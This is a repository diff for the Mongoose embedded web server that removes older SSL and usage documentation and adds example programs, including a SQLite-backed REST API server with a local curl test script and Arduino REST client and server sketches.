-    mongoose -url_rewrites **.doc$=/path/to/cgi-bin/handle_doc.cgi
-
-    # Implement user home directories support
-    mongoose -url_rewrites /~joe/=/home/joe/,/~bill=/home/bill/
-
-    # Redirect 404 errors to a specific error page
-    mongoose -url_rewrites 404=/cgi-bin/error.cgi
-
-Default: not set.

docs/SSL.md

@@ -1,75 +0,0 @@
-# Mongoose SSL guide
-
-SSL is a protocol that makes web communication secure. To enable SSL
-in mongoose, 3 steps are required:
-
-   1. Valid certificate file must be created
-   2. `ssl_certificate` options must be set to contain path to the
-       certificate file.
-   3. `listening_ports` option must contain a port number with letter `s`
-        appended to it, which instructs Mongoose to use SSL for all connections
-        made to that port.
-
-Below is the `mongoose.conf` file snippet for typical SSL setup:
-
-    document_root     www_root        # Serve files in www_root directory
-    listening_ports   80r,443s        # Redirect all HTTP requests to HTTPS
-    ssl_certificate   ssl_cert.pem    # Location of certificate file
-
-## How to create SSL certificate file
-
-SSL certificate file is a text file that must contain at least two
-sections:
-
-   1. A private key
-   2. A certificate
-
-Both sections should be chunks of text in PEM format. When PEM file is
-opened in a text editor, it looks like this:
-
-    -----BEGIN RSA PRIVATE KEY-----
-    MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
-    hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
-    -----END RSA PRIVATE KEY-----
-    -----BEGIN CERTIFICATE-----
-    MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
-    SEGI4JSxV56lYg==
-    -----END CERTIFICATE-----
-
-Two aforementioned sections are clearly seen. Typically, those section
-are bigger then in the example shown. The text between the `BEGIN` and
-`END` is the text representation of binary data, a private key and a
-certificate. Therefore, in order to create a certificate file,
-
-   * private key must be converted to PEM format
-   * certificate must be converted to PEM format
-   * those two should be concatenated into a single file
-
-If the certificate chain in used, a chain file also needs to be
-converted into PEM format and appended to the certificate file.
-
-## How SSL works
-
-SSL is a protocol that can encrypt communication between two parties. If third
-party observes all messages passed by, it would be very
-hard for the third party (though not impossible) to decrypt the communication.
-
-The idea is based on so-called public key encryption. Communicating parties
-have two keys: a public key and a private key. A public key is advertised
-to everybody, and it is contained in a certificate. A private key is kept
-secret. Security algorithm works in a way that anybody can encrypt
-a message using public key, and only private key can decrypt it.
-
-This is why web server needs both private key and certificate: private key
-is used to decrypt incoming messages, and certificate is used to tell the
-public key to the other party. When communication starts, parties exchange
-their public keys, and keep private keys to themselves. Man-in-the-middle
-who observes the communication is unable to decrypt the messages cause
-private keys are required for decryption.
-
-Encryption algorithms are built on top of hard mathematical problem, which
-makes it very expensive for man-in-the-middle to compute private keys.
-For example, RSA algorithm is based on a mathematical problem of factorization.
-It is easy to generate two very large prime numbers `P` and `Q` and make
-a product `P * Q`. But given a product, it is very hard to recover these
-two prime numbers - this is called factorization.

docs/Usage.md

@@ -1,85 +0,0 @@
-# Mongoose User Guide
-
-Mongoose is small and easy to use web server built on top of
-mongoose library. It is designed with maximum simplicity in mind. For example,
-to share any directory, just drop mongoose executable file in that directory,
-double-click it (on UNIX, run it from shell) and launch a browser at
-[http://localhost:8080](http://localhost:8080) Note that 'localhost' should
-be changed to a machine's name if a folder is accessed from other computer.
-
-On Windows and Mac, Mongoose iconifies itself to the system tray when started.
-Right-click on the icon pops up a menu, where it is possible to stop
-mongoose, or configure it.
-
-On UNIX, `mongoose` is a command line utility. Running `mongoose` in
-terminal, optionally followed by configuration parameters
-(`mongoose [OPTIONS]`) or configuration file name
-(`mongoose [config_file_name]`) starts the
-web server:
-
-    $ mongoose -document_root /var/www  # Running mongoose with cmdline options
-    $ mongoose /etc/my_config.txt       # Running mongoose with config file
-    $ mongoose                          # Running with no parameters. This will
-                                        # serve current directory on port 8080
-
-Mongoose does not detach from terminal. Pressing `Ctrl-C` keys
-stops the server.
-
-When started, mongoose first searches for the configuration file.
-If configuration file is specified explicitly in the command line, then
-specified configuration file is used.
-Otherwise, mongoose would search for file `mongoose.conf` in the same directory
-where binary is located, and use it. Configuration file can be absent.
-
-Configuration file is a sequence of lines, each line containing
-command line argument name and it's value. Empty lines and lines beginning
-with `#` are ignored. Here is the example of `mongoose.conf` file:
-
-    # This is a comment
-    document_root C:\www
-    listening_port 80
-    ssl_certificate C:\mongoose\ssl_cert.pem
-
-Command line arguments are highest priority and can override
-configuration file settings. For example, if `mongoose.conf` has line
-`document_root /var/www`, and mongoose has been started as
-`mongoose -document_root /etc`, then `/etc` directory will be used as
-document root.
-
-Note that configuration options on the command line must start with `-`,
-and their names are the same as in the config file. Exampli gratia,
-the following two setups are equivalent:
-
-    $ mongoose -listening_port 1234 -document_root /var/www
-
-    $ cat > mongoose.conf
-    listening_ports 1234
-    document_root /var/www
-    ^D
-    $ mongoose
-
-Mongoose can also be used to modify `.htpasswd` passwords file:
-
-    $ mongoose -A .htpasswd mydomain.com user_name user_password
-
-Unlike other web servers, mongoose does not require CGI scripts be located in
-a special directory. CGI scripts can be anywhere. CGI (and SSI) files are
-recognized by the file name pattern. Mongoose uses shell-like glob
-patterns. Pattern match starts at the beginning of the string, so essentially
-patterns are prefix patterns. Syntax is as follows:
-
-     **      Matches everything
-     *       Matches everything but slash character, '/'
-     ?       Matches any character
-     $       Matches the end of the string
-     |       Matches if pattern on the left side or the right side matches.
-
-All other characters in the pattern match themselves. Examples:
-
-    **.cgi$      Any string that ends with .cgi
-    /foo         Any string that begins with /foo
-    **a$|**b$    Any string that ends with a or b
-
-To restrict CGI files only to `/cgi-bin/` directory, use this setting:
-
-    $ mongoose -cgi_pattern /cgi-bin/*.cgi # Emulate /cgi-bin/ restriction

examples/.gitignore

@@ -0,0 +1 @@
+*.exe

examples/Makefile

@@ -1,46 +1,15 @@
-CFLAGS  = -W -Wall -I.. -pthread -g -pipe $(COPT)
+# Copyright (c) 2014 Cesanta Software
-DLL_FLAGS = -DLUA_COMPAT_ALL -I../build
+# All rights reserved
 
-ifeq ($(OS),Windows_NT)
+SUBDIRS = $(sort $(dir $(wildcard */)))
-else
+X = $(SUBDIRS)
-  UNAME_S := $(shell uname -s)
-  DLL_FLAGS += -shared
 
-  ifeq ($(UNAME_S),Linux)
+.PHONY: $(SUBDIRS)
-    CFLAGS += -ldl
-  endif
 
-  ifeq ($(UNAME_S),Darwin)
+all: $(SUBDIRS)
-    #  DLL_FLAGS += -bundle -undefined dynamic_lookup -dynamiclib
-    DLL_FLAGS += -flat_namespace -undefined suppress -dynamiclib
-  endif
-endif
 
-all:
+$(SUBDIRS):
-	$(CC) hello.c ../mongoose.c  -o hello $(CFLAGS)
+	@$(MAKE) -C $@
-	$(CC) qcomm.c ../mongoose.c  -o qcomm $(CFLAGS)
-	$(CC) post.c ../mongoose.c -o post $(CFLAGS)
-	$(CC) multi_threaded.c ../mongoose.c -o multi_threaded $(CFLAGS)
-
-#	$(CC) upload.c ../mongoose.c -o upload $(CFLAGS)
-#	$(CC) -DUSE_WEBSOCKET websocket.c ../mongoose.c -o $@ $(CFLAGS)
-#	$(CC) chat.c ../mongoose.c -o chat $(CFLAGS)
-#	$(CC) lua_dll.c ../build/lua_5.2.1.c -o $@.so $(CFLAGS) $(DLL_FLAGS)
-
-
-MSVC    = ../../vc6
-CL      = $(MSVC)/bin/cl
-CLFLAGS = /MD /TC /nologo $(DBG) /W3 /DNO_SSL \
-        /I$(MSVC)/include /I.. /Dsnprintf=_snprintf
-LFLAGS  = /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86
-
-windows:
-	$(CL) hello.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
-	$(CL) post.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
-	$(CL) multi_threaded.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
-#	$(CL) upload.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
-#	$(CL) /DUSE_WEBSOCKET websocket.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
-#$(CL) lua_dll.c $(CLFLAGS) $(DLL_FLAGS) /DLL $(LFLAGS) /SUBSYSTEM:WINDOWS /ENTRY:luaopen_lua_dll /EXPORT:luaopen_lua_dll /out:lua_dll.dll
 
 clean:
-	rm -rf hello upload post websocket chat *.exe *.dSYM *.obj .*o
+	for d in $(SUBDIRS) ; do $(MAKE) -C $$d clean ; done

examples/api_server/Makefile

@@ -0,0 +1,25 @@
+PROG = api_server
+SOURCES = $(PROG).c sqlite3.c db_plugin_sqlite.c ../../mongoose.c
+CFLAGS = -W -Wall -pthread $(CFLAGS_EXTRA)
+
+ifeq ($(OS), Windows_NT)
+else
+  UNAME_S := $(shell uname -s)
+  ifeq ($(UNAME_S), Linux)
+    CFLAGS += -ldl -lm
+  endif
+endif
+
+all: $(PROG)
+
+$(PROG): $(SOURCES)
+	$(CC) $(SOURCES) -o $@ $(CFLAGS)
+
+$(PROG).exe: $(SOURCES)
+	cl $(SOURCES) /I.. /MD /Fe$@
+
+test: $(PROG)
+	sh unit_test.sh $$(pwd)/$(PROG)
+
+clean:
+	rm -rf *.gc* *.dSYM *.exe *.obj *.o a.out $(PROG)

examples/api_server/api_server.c

@@ -0,0 +1,104 @@
+/*
+ * Copyright (c) 2014 Cesanta Software Limited
+ * All rights reserved
+ */
+
+#include "db_plugin.h"
+
+static const char *s_http_port = "8000";
+static struct mg_serve_http_opts s_http_server_opts;
+static int s_sig_num = 0;
+static void *s_db_handle = NULL;
+static const char *s_db_path = "api_server.db";
+static const struct mg_str s_get_method = MG_STR("GET");
+static const struct mg_str s_put_method = MG_STR("PUT");
+static const struct mg_str s_delele_method = MG_STR("DELETE");
+
+static void signal_handler(int sig_num) {
+  signal(sig_num, signal_handler);
+  s_sig_num = sig_num;
+}
+
+static int has_prefix(const struct mg_str *uri, const struct mg_str *prefix) {
+  return uri->len > prefix->len && memcmp(uri->p, prefix->p, prefix->len) == 0;
+}
+
+static int is_equal(const struct mg_str *s1, const struct mg_str *s2) {
+  return s1->len == s2->len && memcmp(s1->p, s2->p, s2->len) == 0;
+}
+
+static void ev_handler(struct mg_connection *nc, int ev, void *ev_data) {
+  static const struct mg_str api_prefix = MG_STR("/api/v1");
+  struct http_message *hm = (struct http_message *) ev_data;
+  struct mg_str key;
+
+  switch (ev) {
+    case MG_EV_HTTP_REQUEST:
+      if (has_prefix(&hm->uri, &api_prefix)) {
+        key.p = hm->uri.p + api_prefix.len;
+        key.len = hm->uri.len - api_prefix.len;
+        if (is_equal(&hm->method, &s_get_method)) {
+          db_op(nc, hm, &key, s_db_handle, API_OP_GET);
+        } else if (is_equal(&hm->method, &s_put_method)) {
+          db_op(nc, hm, &key, s_db_handle, API_OP_SET);
+        } else if (is_equal(&hm->method, &s_delele_method)) {
+          db_op(nc, hm, &key, s_db_handle, API_OP_DEL);
+        } else {
+          mg_printf(nc, "%s",
+                    "HTTP/1.0 501 Not Implemented\r\n"
+                    "Content-Length: 0\r\n\r\n");
+        }
+      } else {
+        mg_serve_http(nc, hm, s_http_server_opts); /* Serve static content */
+      }
+      break;
+    default:
+      break;
+  }
+}
+
+int main(int argc, char *argv[]) {
+  struct mg_mgr mgr;
+  struct mg_connection *nc;
+  int i;
+
+  /* Open listening socket */
+  mg_mgr_init(&mgr, NULL);
+  nc = mg_bind(&mgr, s_http_port, ev_handler);
+  mg_set_protocol_http_websocket(nc);
+  s_http_server_opts.document_root = "web_root";
+
+  /* Parse command line arguments */
+  for (i = 1; i < argc; i++) {
+    if (strcmp(argv[i], "-D") == 0) {
+      mgr.hexdump_file = argv[++i];
+    } else if (strcmp(argv[i], "-f") == 0) {
+      s_db_path = argv[++i];
+    } else if (strcmp(argv[i], "-r") == 0) {
+      s_http_server_opts.document_root = argv[++i];
+    }
+  }
+
+  signal(SIGINT, signal_handler);
+  signal(SIGTERM, signal_handler);
+
+  /* Open database */
+  if ((s_db_handle = db_open(s_db_path)) == NULL) {
+    fprintf(stderr, "Cannot open DB [%s]\n", s_db_path);
+    exit(EXIT_FAILURE);
+  }
+
+  /* Run event loop until signal is received */
+  printf("Starting RESTful server on port %s\n", s_http_port);
+  while (s_sig_num == 0) {
+    mg_mgr_poll(&mgr, 1000);
+  }
+
+  /* Cleanup */
+  mg_mgr_free(&mgr);
+  db_close(&s_db_handle);
+
+  printf("Exiting on signal %d\n", s_sig_num);
+
+  return 0;
+}

examples/api_server/db_plugin.h

@@ -0,0 +1,19 @@
+/*
+ * Copyright (c) 2014 Cesanta Software Limited
+ * All rights reserved
+ */
+
+#ifndef DB_PLUGIN_HEADER_DEFINED
+#define DB_PLUGIN_HEADER_DEFINED
+
+#include "../../mongoose.h"
+
+void *db_open(const char *db_path);
+void db_close(void **db_handle);
+
+enum { API_OP_GET, API_OP_SET, API_OP_DEL };
+
+void db_op(struct mg_connection *nc, const struct http_message *hm,
+           const struct mg_str *key, void *db, int op);
+
+#endif /* DB_PLUGIN_HEADER_DEFINED */

examples/api_server/db_plugin_sqlite.c

@@ -0,0 +1,107 @@
+/*
+ * Copyright (c) 2014 Cesanta Software Limited
+ * All rights reserved
+ */
+
+#include "db_plugin.h"
+#include "sqlite3.h"
+
+void *db_open(const char *db_path) {
+  sqlite3 *db = NULL;
+  if (sqlite3_open_v2(db_path, &db, SQLITE_OPEN_READWRITE |
+      SQLITE_OPEN_CREATE | SQLITE_OPEN_FULLMUTEX, NULL) == SQLITE_OK) {
+    sqlite3_exec(db, "CREATE TABLE IF NOT EXISTS kv(key PRIMARY KEY, val);",
+                 0, 0, 0);
+  }
+  return db;
+}
+
+void db_close(void **db_handle) {
+  if (db_handle != NULL && *db_handle != NULL) {
+    sqlite3_close(*db_handle);
+    *db_handle = NULL;
+  }
+}
+
+static void op_set(struct mg_connection *nc, const struct http_message *hm,
+                   const struct mg_str *key, void *db) {
+  sqlite3_stmt *stmt = NULL;
+  char value[200];
+  const struct mg_str *body = hm->query_string.len > 0 ?
+    &hm->query_string : &hm->body;
+
+  mg_get_http_var(body, "value", value, sizeof(value));
+  if (sqlite3_prepare_v2(db, "INSERT OR REPLACE INTO kv VALUES (?, ?);",
+      -1, &stmt, NULL) == SQLITE_OK) {
+    sqlite3_bind_text(stmt, 1, key->p, key->len, SQLITE_STATIC);
+    sqlite3_bind_text(stmt, 2, value, strlen(value), SQLITE_STATIC);
+    sqlite3_step(stmt);
+    sqlite3_finalize(stmt);
+  }
+  mg_printf(nc, "%s", "HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n");
+}
+
+static void op_get(struct mg_connection *nc, const struct http_message *hm,
+                   const struct mg_str *key, void *db) {
+  sqlite3_stmt *stmt = NULL;
+  const char *data = NULL;
+  int result;
+  (void) hm;
+
+  if (sqlite3_prepare_v2(db, "SELECT val FROM kv WHERE key = ?;",
+      -1, &stmt, NULL) == SQLITE_OK) {
+    sqlite3_bind_text(stmt, 1, key->p, key->len, SQLITE_STATIC);
+    result = sqlite3_step(stmt);
+    data = (char *) sqlite3_column_text(stmt, 0);
+    if ((result == SQLITE_OK || result == SQLITE_ROW) && data != NULL) {
+      mg_printf(nc, "HTTP/1.1 200 OK\r\n"
+                "Content-Type: text/plain\r\n"
+                "Content-Length: %d\r\n\r\n%s",
+                (int) strlen(data), data);
+    } else {
+      mg_printf(nc, "%s", "HTTP/1.1 404 Not Found\r\n"
+                "Content-Length: 0\r\n\r\n");
+    }
+    sqlite3_finalize(stmt);
+  } else {
+    mg_printf(nc, "%s", "HTTP/1.1 500 Server Error\r\n"
+              "Content-Length: 0\r\n\r\n");
+  }
+}
+
+static void op_del(struct mg_connection *nc, const struct http_message *hm,
+                   const struct mg_str *key, void *db) {
+  sqlite3_stmt *stmt = NULL;
+  int result;
+  (void) hm;
+
+  if (sqlite3_prepare_v2(db, "DELETE FROM kv WHERE key = ?;",
+      -1, &stmt, NULL) == SQLITE_OK) {
+    sqlite3_bind_text(stmt, 1, key->p, key->len, SQLITE_STATIC);
+    result = sqlite3_step(stmt);
+    if (result == SQLITE_OK || result == SQLITE_ROW) {
+      mg_printf(nc, "%s", "HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n");
+    } else {
+      mg_printf(nc, "%s", "HTTP/1.1 404 Not Found\r\n"
+                "Content-Length: 0\r\n\r\n");
+    }
+    sqlite3_finalize(stmt);
+  } else {
+    mg_printf(nc, "%s", "HTTP/1.1 500 Server Error\r\n"
+              "Content-Length: 0\r\n\r\n");
+  }
+}
+
+void db_op(struct mg_connection *nc, const struct http_message *hm,
+           const struct mg_str *key, void *db, int op) {
+  switch (op) {
+    case API_OP_GET: op_get(nc, hm, key, db); break;
+    case API_OP_SET: op_set(nc, hm, key, db); break;
+    case API_OP_DEL: op_del(nc, hm, key, db); break;
+    default:
+      mg_printf(nc, "%s", "HTTP/1.0 501 Not Implemented\r\n"
+                "Content-Length: 0\r\n\r\n");
+      break;
+  }
+}
+

examples/api_server/sqlite3.c

@@ -8241,9 +8241,9 @@ typedef INT8_TYPE i8;              /* 1-byte signed integer */
 ** evaluated at runtime.
 */
 #ifdef SQLITE_AMALGAMATION
-SQLITE_PRIVATE const int sqlite3one = 1;
+const int sqlite3one = 1;
 #else
-SQLITE_PRIVATE const int sqlite3one;
+const int sqlite3one;
 #endif
 #if defined(i386) || defined(__i386__) || defined(_M_IX86)\
                              || defined(__x86_64) || defined(__x86_64__)

examples/api_server/unit_test.sh

@@ -0,0 +1,35 @@
+#!/bin/sh
+
+PROG=$1
+PORT=${2:-8000}  # If second param is given, this is load balancer port
+DB_FILE=/tmp/_$$.db
+URL=http://127.0.0.1:$PORT/api/v1
+
+cleanup() {
+  rm -rf $DB_FILE
+  kill -9 $PID >/dev/null 2>&1
+}
+
+#set -x
+trap cleanup EXIT
+
+cleanup
+$PROG -f $DB_FILE &
+PID=$!
+
+#sleep 1
+curl -s -X PUT -d 'value=123' $URL/foo
+curl -s -X PUT -d 'value=success' $URL/bar/baz
+
+# Fetch existing key
+RESULT=$(curl -s $URL/bar/baz)
+test "$RESULT" = "success" || exit 1
+
+# Delete it
+curl -s -X DELETE $URL/bar/baz
+
+# Make sure it's deleted - GET must result in 404
+RESULT=$(curl -s -i $URL/bar/baz | head -1 | tr -d '\r')
+test "$RESULT" = "HTTP/1.1 404 Not Found" || exit 1
+
+exit 0

examples/api_server/web_root/index.html

@@ -0,0 +1,38 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="utf-8" />
+  <title>RESTful API demo</title>
+  <meta name="viewport" content="width=device-width, initial-scale=1" />
+  <style type="text/css">
+    * { outline: none; }
+    body {
+      background-color: #789; margin: 0;
+      padding: 0; font: 16px/1.4 Helvetica, Arial, sans-serif;
+      font: 16px/1.4 Helvetica, Arial, sans-serif;
+    }
+    div.content {
+      width: 800px; margin: 2em auto; padding: 20px 50px;
+      background-color: #fff; border-radius: 1em;
+    }
+    label { display: inline-block; min-width: 7em; }
+    input { border: 1px solid #ccc; padding: 0.2em; }
+    a:link, a:visited { color: #69c; text-decoration: none; }
+    @media (max-width: 700px) {
+      body { background-color: #fff; }
+      div.content { width: auto; margin: 0 auto; padding: 1em; }
+    }
+</style>
+
+<script src="http://code.jquery.com/jquery-1.11.0.min.js"></script>
+<script language="javascript" type="text/javascript">
+  jQuery(function() {
+  });
+</script>
+</head>
+<body>
+  <div class="content">
+    <h1>API server</h1>
+  </div>
+</body>
+</html>

examples/arduino_restful_client/Makefile

@@ -0,0 +1,2 @@
+# This "makefile" is only intended to prevent errors during main makefile execution
+all:

examples/arduino_restful_client/README.md

@@ -0,0 +1,46 @@
+# Arduino Restful Client
+
+This example demonstrates how to use [Mongoose](https://www.cesanta.com/mongoose) to send HTTP commands from Arduino.
+
+Example sends free memory size and current board uptime, but it can be modified to send any user-specific data.
+
+At the moment this example supports [Arduino Mega 2560](http://arduino.cc/en/Main/ArduinoBoardMega2560) board (and compatible) with either W5100-based
+network shield (like [Arduino Ethernet Shield](http://arduino.cc/en/Main/ArduinoEthernetShield)) or [CC3000](http://www.ti.com/product/cc3000)-based WIFI Shield.
+
+## Build and run instructions:
+
+###To run with Arduino Ethernet (W5100) shield:
+1. Add (Sketch->Add file...) the following files to sketch:
+     - /mongoose/mongoose.h
+     - /mongoose/mongoose.c
+     - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.h
+     - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.cpp
+3. Buils and start (in console) /Users/alex/Projects/mongoose/examples/restful_server example
+4. Make `board_ip` and `board_mac` variables suitable for your network and board
+5. Change IP address in `s_target_address` variable to IP address of host running restful_server
+6. Uncomment line `#include <Ethernet.h>`
+7. Compile and flash sketch
+8. restful_server will start to show current uptime and free memory size (with 5 seconds interval)
+
+###To run with Adafruit WiFi (CC3000) shield:
+1. Add (Sketch->Add files...) the following files to sketch:
+     - /mongoose/mongoose.h
+     - /mongoose/mongoose.c
+     - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.h
+     - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.cpp
+2. Import Adafruit CC3000 library for mongoose
+    (select Sketch->Import Library...->Add library... and point
+     /mongoose/platforms/arduino_wifi_CC3000/adafruit_CC3000_lib_mongoose folder)
+3. Buils and start (in console) /Users/alex/Projects/mongoose/examples/restful_server example
+4. Make the following variables suitable for your network
+     - `board_ip`
+     - `subnet_mask`
+     - `gateway`
+     - `dns`
+     - `wlan_ssid`
+     - `wlan_pwd`
+     - `wlan_security`
+5. Change IP address in `s_target_address` variable to IP address of host running restful_server
+6. Uncomment line `#include <Adafruit_CC3000.h>`
+8. Compile and flash sketch
+9. restful_server will start to show current uptime and free memory size (with 5 seconds interval)

examples/arduino_restful_client/arduino_restful_client.ino

@@ -0,0 +1,141 @@
+
+/*
+ * Copyright (c) 2015 Cesanta Software Limited
+ * All rights reserved
+ * 
+ * Build and run instructions:
+ * To run with Arduino Ethernet (W5100) shield:
+ * -----------------------------------------------------------
+ *  1. Add (Sketch->Add file...) the following files to sketch:
+ *     - /mongoose/mongoose.h
+ *     - /mongoose/mongoose.c
+ *     - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.h
+ *     - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.cpp
+ *  2. Buils and run in console /Users/alex/Projects/mongoose/examples/restful_server example
+ *  3. Make board_ip and board_mac variables suitable for your network and board
+ *  4. Uncomment line #include <Ethernet.h>
+ *  5. Change IP address in s_target_address variable to IP address of host running restful_server
+ *  6. Compile & flash sketch
+ *  7. restful_server server will start to show current uptime and free memory size (with 5 second interval) 
+ *
+ * To run with Adafruit WiFi (CC3000) shield:
+ * -----------------------------------------------------------
+ *  1. Add (Sketch->Add files...) the following files to sketch:
+ *     - /mongoose/mongoose.h
+ *     - /mongoose/mongoose.c
+ *     - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.h
+ *     - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.cpp
+ *  2. Import Adafruit CC3000 library for mongoose (select Sketch->Import Library...->Add library... and point 
+ *     /mongoose/platforms/arduino_wifi_CC3000/adafruit_CC3000_lib_mongoose folder
+ *  3. Buils and run in console /Users/alex/Projects/mongoose/examples/restful_server example
+ *  4. Make the following variables suitable for your network
+ *     - board_ip
+ *     - subnet_mask
+ *     - gateway
+ *     - dns 
+ *     - wlan_ssid
+ *     - wlan_pwd
+ *     - wlan_security
+ *  5. Uncomment line #include <Adafruit_CC3000.h>
+ *  6. Compile & flash sketch
+ *  7. restful_server server will start to show current uptime and free memory size (with 5 second interval) *
+ *
+ */
+
+ 
+//#include <Ethernet.h>
+//#include <Adafruit_CC3000.h>
+#include <SPI.h>
+#include "mongoose.h"
+
+// CHANGE THESE VARIABLES
+// NB: Devices with the same address must not end up on the same network.
+// Use MAC address provided by device manufacturer (e.g. on a sticker).
+// If there isn't one, use a random one from the locally administered range.
+// See http://en.wikipedia.org/wiki/MAC_address for details.
+static uint8_t board_mac[] = {
+  0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED
+};
+static uint8_t board_ip[] = {192, 168, 10, 177};
+
+#ifdef WIFI_CC3000
+static uint8_t subnet_mask[] = {255, 255, 255, 0};
+static uint8_t gateway[] = {192, 168, 10, 254};
+static uint8_t dmg_ip[] = {192, 168, 10, 254};
+
+static const char *wlan_ssid = "mynetwork";     
+static const char *wlan_pwd = "mypassword";
+static int wlan_security = WLAN_SEC_WPA2;
+#endif
+
+static const char *s_target_address = "192.168.10.3:8000";
+
+/////////////////////////////////////////////
+
+static const char *s_request = "/printcontent";
+
+static uint32_t IP2U32(uint8_t* iparr) {
+  return ((uint32_t)iparr[0] << 24) | ((uint32_t)iparr[1] << 16) | (iparr[2] << 8) | (iparr[3]);
+}
+
+static int get_data_to_send(char* buf, int buf_size) {
+  // Adding data to send
+  // It could be any sensor data, now just put uptime & free memory size here
+  return snprintf(buf, buf_size, "Uptime: %lus Free memory: %db",
+                  millis()/1000, get_freememsize());
+}
+static void rfc_ev_handler(struct mg_connection *nc, int ev, void *ev_data) {
+  int connect_status;
+
+  switch (ev) {
+    case NS_CONNECT:
+      connect_status = * (int *) ev_data;
+
+      if (connect_status == 0) {
+        char buf[100];
+        int len = get_data_to_send(buf, sizeof(buf));
+        mg_printf(nc, "POST %s HTTP/1.0\r\nHost: %s\r\nContent-Lenght: %d"
+                  "\r\n\r\n%s", s_request, s_target_address, len, buf);
+        nc->flags |= MG_F_SEND_AND_CLOSE;
+      } else {
+        nc->flags |= MG_F_CLOSE_IMMEDIATELY;
+      }
+      break;
+    default:
+      break;
+  }
+}
+
+static struct mg_mgr mgr;
+static struct mg_connection *nc;
+
+void setup()
+{
+  Serial.begin(9600);
+  Serial.println("Initialization...");
+#if defined(ETHERNET_W5100)
+  avr_netinit(board_mac, board_ip);
+#elif defined(WIFI_CC3000)
+  if (avr_netinit(wlan_ssid, wlan_pwd, wlan_security, IP2U32(board_ip), 
+              IP2U32(subnet_mask), IP2U32(gateway), IP2U32(dmg_ip)) != 0) {
+    Serial.println("Initialization error, check network settings");
+    return;
+  };
+#endif
+
+  mg_mgr_init(&mgr, NULL);
+  Serial.println("Initialization done");  
+}
+
+void loop() {
+  nc = mg_connect(&mgr, s_target_address, rfc_ev_handler);
+  if (nc != NULL) {
+    mg_set_protocol_http_websocket(nc);
+  }
+
+  uint32_t time_to_finish = millis() + 5000;
+  while (millis() < time_to_finish) {
+    mg_mgr_poll(&mgr, 1000);  
+  }
+}
+

examples/arduino_restful_server/Makefile

@@ -0,0 +1,2 @@
+# This "makefile" is only intended to prevent errors during main makefile execution
+all:

examples/arduino_restful_server/README.md

@@ -0,0 +1,45 @@
+# Arduino Restful Server
+
+This example demonstrates how to use [Mongoose](https://www.cesanta.com/mongoose) to control Arduino
+using HTTP requests.
+Example just blinks by LED when Mongoose receives HTTP command, but it can be modified to execute any user-specific code.
+
+At the moment this example supports [Arduino Mega 2560](http://arduino.cc/en/Main/ArduinoBoardMega2560) board (and compatible) with either W5100-based
+network shield (like [Arduino Ethernet Shield](http://arduino.cc/en/Main/ArduinoEthernetShield)) or [CC3000](http://www.ti.com/product/cc3000)-based WIFI Shield.
+
+## Build and run instructions:
+
+###To run with Arduino Ethernet (W5100) shield:
+1. Add (Sketch->Add file...) the following files to sketch:
+     - /mongoose/mongoose.h
+     - /mongoose/mongoose.c
+     - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.h
+     - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.cpp
+2. Make `board_ip` and `board_mac` variables suitable for your network and board
+3. Uncomment line `#include <Ethernet.h>`
+4. Compile and flash sketch
+5. Run `curl http://<board_ip/blink`
+   LED attached to PIN 13 will blink and board free memory size and board uptime will be displayed.
+
+
+###To run with Adafruit WiFi (CC3000) shield:
+1. Add (Sketch->Add files...) the following files to sketch:
+     - /mongoose/mongoose.h
+     - /mongoose/mongoose.c
+     - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.h
+     - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.cpp
+2. Import Adafruit CC3000 library for mongoose
+    (select Sketch->Import Library...->Add library... and point
+     /mongoose/platforms/arduino_wifi_CC3000/adafruit_CC3000_lib_mongoose folder)
+3. Make the following variables suitable for your network
+     - `board_ip`
+     - `subnet_mask`
+     - `gateway`
+     - `dns`
+     - `wlan_ssid`
+     - `wlan_pwd`
+     - `wlan_security`
+5. Uncomment line `#include <Adafruit_CC3000.h>`
+4. Compile and flash sketch
+5. Run curl `http://<board_ip/blink`
+   LED attached to PIN 13 will blink and board free memory size and board uptime will be displayed.